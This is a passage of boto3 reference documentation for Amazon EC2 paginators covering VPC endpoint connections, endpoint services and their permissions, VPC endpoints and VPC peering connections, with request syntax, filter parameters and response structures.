+ +Creates an iterator that will paginate through responses from [EC2.Client.describe_vpc_endpoint_connections()](#EC2.Client.describe_vpc_endpoint_connections "EC2.Client.describe_vpc_endpoint_connections"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcEndpointConnections) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + One or more filters. + + - service-id - The ID of the service. + - vpc-endpoint-owner - The AWS account number of the owner of the endpoint. + - vpc-endpoint-state - The state of the endpoint (pendingAcceptance | pending | available | deleting | deleted | rejected | failed ). + - vpc-endpoint-id - The ID of the endpoint. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcEndpointConnections': [ + { + 'ServiceId': 'string', + 'VpcEndpointId': 'string', + 'VpcEndpointOwner': 'string', + 'VpcEndpointState': 'PendingAcceptance'|'Pending'|'Available'|'Deleting'|'Deleted'|'Rejected'|'Failed'|'Expired', + 'CreationTimestamp': datetime(2015, 1, 1), + 'DnsEntries': [ + { + 'DnsName': 'string', + 'HostedZoneId': 'string' + }, + ], + 'NetworkLoadBalancerArns': [ + 'string', + ], + 'GatewayLoadBalancerArns': [ + 'string', + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **VpcEndpointConnections** _(list) --_ + + Information about one or more VPC endpoint connections. + + - _(dict) --_ + + Describes a VPC endpoint connection to a service. + + - **ServiceId** _(string) --_ + + The ID of the service to which the endpoint is connected. + + - **VpcEndpointId** _(string) --_ + + The ID of the VPC endpoint. + + - **VpcEndpointOwner** _(string) --_ + + The AWS account ID of the owner of the VPC endpoint. + + - **VpcEndpointState** _(string) --_ + + The state of the VPC endpoint. + + - **CreationTimestamp** _(datetime) --_ + + The date and time that the VPC endpoint was created. + + - **DnsEntries** _(list) --_ + + The DNS entries for the VPC endpoint. + + - _(dict) --_ + + Describes a DNS entry. + + - **DnsName** _(string) --_ + + The DNS name. + + - **HostedZoneId** _(string) --_ + + The ID of the private hosted zone. + + - **NetworkLoadBalancerArns** _(list) --_ + + The Amazon Resource Names (ARNs) of the network load balancers for the service. + + - _(string) --_ + - **GatewayLoadBalancerArns** _(list) --_ + + The Amazon Resource Names (ARNs) of the Gateway Load Balancers for the service. + + - _(string) --_ + +_class_ EC2.Paginator.DescribeVpcEndpointServiceConfigurationsdefinition") + +paginator = client.get_paginator('describe_vpc_endpoint_service_configurations') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_vpc_endpoint_service_configurations()](#EC2.Client.describe_vpc_endpoint_service_configurations "EC2.Client.describe_vpc_endpoint_service_configurations"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcEndpointServiceConfigurations) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + ServiceIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **ServiceIds** (_list_) -- + + The IDs of one or more services. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - service-name - The name of the service. + - service-id - The ID of the service. + - service-state - The state of the service (Pending | Available | Deleting | Deleted | Failed ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ServiceConfigurations': [ + { + 'ServiceType': [ + { + 'ServiceType': 'Interface'|'Gateway'|'GatewayLoadBalancer' + }, + ], + 'ServiceId': 'string', + 'ServiceName': 'string', + 'ServiceState': 'Pending'|'Available'|'Deleting'|'Deleted'|'Failed', + 'AvailabilityZones': [ + 'string', + ], + 'AcceptanceRequired': True|False, + 'ManagesVpcEndpoints': True|False, + 'NetworkLoadBalancerArns': [ + 'string', + ], + 'GatewayLoadBalancerArns': [ + 'string', + ], + 'BaseEndpointDnsNames': [ + 'string', + ], + 'PrivateDnsName': 'string', + 'PrivateDnsNameConfiguration': { + 'State': 'pendingVerification'|'verified'|'failed', + 'Type': 'string', + 'Value': 'string', + 'Name': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **ServiceConfigurations** _(list) --_ + + Information about one or more services. + + - _(dict) --_ + + Describes a service configuration for a VPC endpoint service. + + - **ServiceType** _(list) --_ + + The type of service. + + - _(dict) --_ + + Describes the type of service for a VPC endpoint. + + - **ServiceType** _(string) --_ + + The type of service. + + - **ServiceId** _(string) --_ + + The ID of the service. + + - **ServiceName** _(string) --_ + + The name of the service. + + - **ServiceState** _(string) --_ + + The service state. + + - **AvailabilityZones** _(list) --_ + + The Availability Zones in which the service is available. + + - _(string) --_ + - **AcceptanceRequired** _(boolean) --_ + + Indicates whether requests from other AWS accounts to create an endpoint to the service must first be accepted. + + - **ManagesVpcEndpoints** _(boolean) --_ + + Indicates whether the service manages its VPC endpoints. Management of the service VPC endpoints using the VPC endpoint API is restricted. + + - **NetworkLoadBalancerArns** _(list) --_ + + The Amazon Resource Names (ARNs) of the Network Load Balancers for the service. + + - _(string) --_ + - **GatewayLoadBalancerArns** _(list) --_ + + The Amazon Resource Names (ARNs) of the Gateway Load Balancers for the service. + + - _(string) --_ + - **BaseEndpointDnsNames** _(list) --_ + + The DNS names for the service. + + - _(string) --_ + - **PrivateDnsName** _(string) --_ + + The private DNS name for the service. + + - **PrivateDnsNameConfiguration** _(dict) --_ + + Information about the endpoint service private DNS name configuration. + + - **State** _(string) --_ + + The verification state of the VPC endpoint service. + + >Consumers of the endpoint service can use the private name only when the state is verified . + + - **Type** _(string) --_ + + The endpoint service verification type, for example TXT. + + - **Value** _(string) --_ + + The value the service provider adds to the private DNS name domain record before verification. + + - **Name** _(string) --_ + + The name of the record subdomain the service provider needs to create. The service provider adds the value text to the name . + + - **Tags** _(list) --_ + + Any tags assigned to the service. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeVpcEndpointServicePermissions + +paginator = client.get_paginator('describe_vpc_endpoint_service_permissions') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_vpc_endpoint_service_permissions()](#EC2.Client.describe_vpc_endpoint_service_permissions "EC2.Client.describe_vpc_endpoint_service_permissions"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcEndpointServicePermissions) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + ServiceId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **ServiceId** (_string_) -- + + **[REQUIRED]** + + The ID of the service. + +- **Filters** (_list_) -- + + One or more filters. + + - principal - The ARN of the principal. + - principal-type - The principal type (All | Service | OrganizationUnit | Account | User | Role ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AllowedPrincipals': [ + { + 'PrincipalType': 'All'|'Service'|'OrganizationUnit'|'Account'|'User'|'Role', + 'Principal': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **AllowedPrincipals** _(list) --_ + + Information about one or more allowed principals. + + - _(dict) --_ + + Describes a principal. + + - **PrincipalType** _(string) --_ + + The type of principal. + + - **Principal** _(string) --_ + + The Amazon Resource Name (ARN) of the principal. + + +_class_ EC2.Paginator.DescribeVpcEndpointServices + +paginator = client.get_paginator('describe_vpc_endpoint_services') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_vpc_endpoint_services()](#EC2.Client.describe_vpc_endpoint_services "EC2.Client.describe_vpc_endpoint_services"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcEndpointServices) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + ServiceNames=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **ServiceNames** (_list_) -- + + One or more service names. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - service-name - The name of the service. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ServiceNames': [ + 'string', + ], + 'ServiceDetails': [ + { + 'ServiceName': 'string', + 'ServiceId': 'string', + 'ServiceType': [ + { + 'ServiceType': 'Interface'|'Gateway'|'GatewayLoadBalancer' + }, + ], + 'AvailabilityZones': [ + 'string', + ], + 'Owner': 'string', + 'BaseEndpointDnsNames': [ + 'string', + ], + 'PrivateDnsName': 'string', + 'PrivateDnsNames': [ + { + 'PrivateDnsName': 'string' + }, + ], + 'VpcEndpointPolicySupported': True|False, + 'AcceptanceRequired': True|False, + 'ManagesVpcEndpoints': True|False, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'PrivateDnsNameVerificationState': 'pendingVerification'|'verified'|'failed' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeVpcEndpointServices. + + - **ServiceNames** _(list) --_ + + A list of supported services. + + - _(string) --_ + - **ServiceDetails** _(list) --_ + + Information about the service. + + - _(dict) --_ + + Describes a VPC endpoint service. + + - **ServiceName** _(string) --_ + + The Amazon Resource Name (ARN) of the service. + + - **ServiceId** _(string) --_ + + The ID of the endpoint service. + + - **ServiceType** _(list) --_ + + The type of service. + + - _(dict) --_ + + Describes the type of service for a VPC endpoint. + + - **ServiceType** _(string) --_ + + The type of service. + + - **AvailabilityZones** _(list) --_ + + The Availability Zones in which the service is available. + + - _(string) --_ + - **Owner** _(string) --_ + + The AWS account ID of the service owner. + + - **BaseEndpointDnsNames** _(list) --_ + + The DNS names for the service. + + - _(string) --_ + - **PrivateDnsName** _(string) --_ + + The private DNS name for the service. + + - **PrivateDnsNames** _(list) --_ + + The private DNS names assigned to the VPC endpoint service. + + - _(dict) --_ + + Information about the Private DNS name for interface endpoints. + + - **PrivateDnsName** _(string) --_ + + The private DNS name assigned to the VPC endpoint service. + + - **VpcEndpointPolicySupported** _(boolean) --_ + + Indicates whether the service supports endpoint policies. + + - **AcceptanceRequired** _(boolean) --_ + + Indicates whether VPC endpoint connection requests to the service must be accepted by the service owner. + + - **ManagesVpcEndpoints** _(boolean) --_ + + Indicates whether the service manages its VPC endpoints. Management of the service VPC endpoints using the VPC endpoint API is restricted. + + - **Tags** _(list) --_ + + Any tags assigned to the service. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **PrivateDnsNameVerificationState** _(string) --_ + + The verification state of the VPC endpoint service. + + Consumers of the endpoint service cannot use the private name when the state is not verified . + + +_class_ EC2.Paginator.DescribeVpcEndpoints + +paginator = client.get_paginator('describe_vpc_endpoints') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_vpc_endpoints()](#EC2.Client.describe_vpc_endpoints "EC2.Client.describe_vpc_endpoints"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcEndpoints) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + VpcEndpointIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcEndpointIds** (_list_) -- + + One or more endpoint IDs. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - service-name - The name of the service. + - vpc-id - The ID of the VPC in which the endpoint resides. + - vpc-endpoint-id - The ID of the endpoint. + - vpc-endpoint-state - The state of the endpoint (pendingAcceptance | pending | available | deleting | deleted | rejected | failed ). + - vpc-endpoint-type - The type of VPC endpoint (Interface | Gateway | GatewayLoadBalancer ). + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcEndpoints': [ + { + 'VpcEndpointId': 'string', + 'VpcEndpointType': 'Interface'|'Gateway'|'GatewayLoadBalancer', + 'VpcId': 'string', + 'ServiceName': 'string', + 'State': 'PendingAcceptance'|'Pending'|'Available'|'Deleting'|'Deleted'|'Rejected'|'Failed'|'Expired', + 'PolicyDocument': 'string', + 'RouteTableIds': [ + 'string', + ], + 'SubnetIds': [ + 'string', + ], + 'Groups': [ + { + 'GroupId': 'string', + 'GroupName': 'string' + }, + ], + 'PrivateDnsEnabled': True|False, + 'RequesterManaged': True|False, + 'NetworkInterfaceIds': [ + 'string', + ], + 'DnsEntries': [ + { + 'DnsName': 'string', + 'HostedZoneId': 'string' + }, + ], + 'CreationTimestamp': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'OwnerId': 'string', + 'LastError': { + 'Message': 'string', + 'Code': 'string' + } + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeVpcEndpoints. + + - **VpcEndpoints** _(list) --_ + + Information about the endpoints. + + - _(dict) --_ + + Describes a VPC endpoint. + + - **VpcEndpointId** _(string) --_ + + The ID of the VPC endpoint. + + - **VpcEndpointType** _(string) --_ + + The type of endpoint. + + - **VpcId** _(string) --_ + + The ID of the VPC to which the endpoint is associated. + + - **ServiceName** _(string) --_ + + The name of the service to which the endpoint is associated. + + - **State** _(string) --_ + + The state of the VPC endpoint. + + - **PolicyDocument** _(string) --_ + + The policy document associated with the endpoint, if applicable. + + - **RouteTableIds** _(list) --_ + + (Gateway endpoint) One or more route tables associated with the endpoint. + + - _(string) --_ + - **SubnetIds** _(list) --_ + + (Interface endpoint) One or more subnets in which the endpoint is located. + + - _(string) --_ + - **Groups** _(list) --_ + + (Interface endpoint) Information about the security groups that are associated with the network interface. + + - _(dict) --_ + + Describes a security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **PrivateDnsEnabled** _(boolean) --_ + + (Interface endpoint) Indicates whether the VPC is associated with a private hosted zone. + + - **RequesterManaged** _(boolean) --_ + + Indicates whether the VPC endpoint is being managed by its service. + + - **NetworkInterfaceIds** _(list) --_ + + (Interface endpoint) One or more network interfaces for the endpoint. + + - _(string) --_ + - **DnsEntries** _(list) --_ + + (Interface endpoint) The DNS entries for the endpoint. + + - _(dict) --_ + + Describes a DNS entry. + + - **DnsName** _(string) --_ + + The DNS name. + + - **HostedZoneId** _(string) --_ + + The ID of the private hosted zone. + + - **CreationTimestamp** _(datetime) --_ + + The date and time that the VPC endpoint was created. + + - **Tags** _(list) --_ + + Any tags assigned to the VPC endpoint. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that owns the VPC endpoint. + + - **LastError** _(dict) --_ + + The last error that occurred for VPC endpoint. + + - **Message** _(string) --_ + + The error message for the VPC endpoint error. + + - **Code** _(string) --_ + + The error code for the VPC endpoint error. + + +_class_ EC2.Paginator.DescribeVpcPeeringConnections + +paginator = client.get_paginator('describe_vpc_peering_connections') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + VpcPeeringConnectionIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - accepter-vpc-info.cidr-block - The IPv4 CIDR block of the accepter VPC. + - accepter-vpc-info.owner-id - The AWS account ID of the owner of the accepter VPC. + - accepter-vpc-info.vpc-id - The ID of the accepter VPC. + - expiration-time - The expiration date and time for the VPC peering connection. + - requester-vpc-info.cidr-block - The IPv4 CIDR block of the requester's VPC. + - requester-vpc-info.owner-id - The AWS account ID of the owner of the requester VPC. + - requester-vpc-info.vpc-id - The ID of the requester VPC. + - status-code - The status of the VPC peering connection (pending-acceptance | failed | expired | provisioning | active | deleting | deleted | rejected ). + - status-message - A message that provides more information about the status of the VPC peering connection, if applicable. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - vpc-peering-connection-id - The ID of the VPC peering connection. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcPeeringConnectionIds** (_list_) -- + + One or more VPC peering connection IDs. + + Default: Describes all your VPC peering connections. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcPeeringConnections': [ + { + 'AccepterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'ExpirationTime': datetime(2015, 1, 1), + 'RequesterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc'#39;: True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'initiating-request'|'pending-acceptance'|'active'|'deleted'|'rejected'|'failed'|'expired'|'provisioning'|'deleting', + 'Message': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcPeeringConnectionId': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **VpcPeeringConnections** _(list) --_ + + Information about the VPC peering connections. + + - _(dict) --_ + + Describes a VPC peering connection. + + - **AccepterVpcInfo** _(dict) --_ + + Information about the accepter VPC. CIDR block information is only returned when describing an active VPC peering connection. + + - **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + - **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + - _(dict) --_ + + Describes an IPv6 CIDR block. + + - **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + - **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + - _(dict) --_ + + Describes an IPv4 CIDR block. + + - **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + - **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + - **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + - **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + - **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + - **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + - **Region** _(string) --_ + + The Region in which the VPC is located. + + - **ExpirationTime** _(datetime) --_ + + The time that an unaccepted VPC peering connection will expire. + + - **RequesterVpcInfo** _(dict) --_ + + Information about the requester VPC. CIDR block information is only returned when describing an active VPC peering connection. + + - **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + - **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + - _(dict) --_ + + Describes an IPv6 CIDR block. + + - **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + - **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + - _(dict) --_ + + Describes an IPv4 CIDR block. + + - **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + - **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + - **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + - **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + - **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + - **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + - **Region** _(string) --_ + + The Region in which the VPC is located. + + - **Status** _(dict) --_ + + The status of the VPC peering connection. + + - **Code** _(string) --_ + + The status of the VPC peering connection. + + - 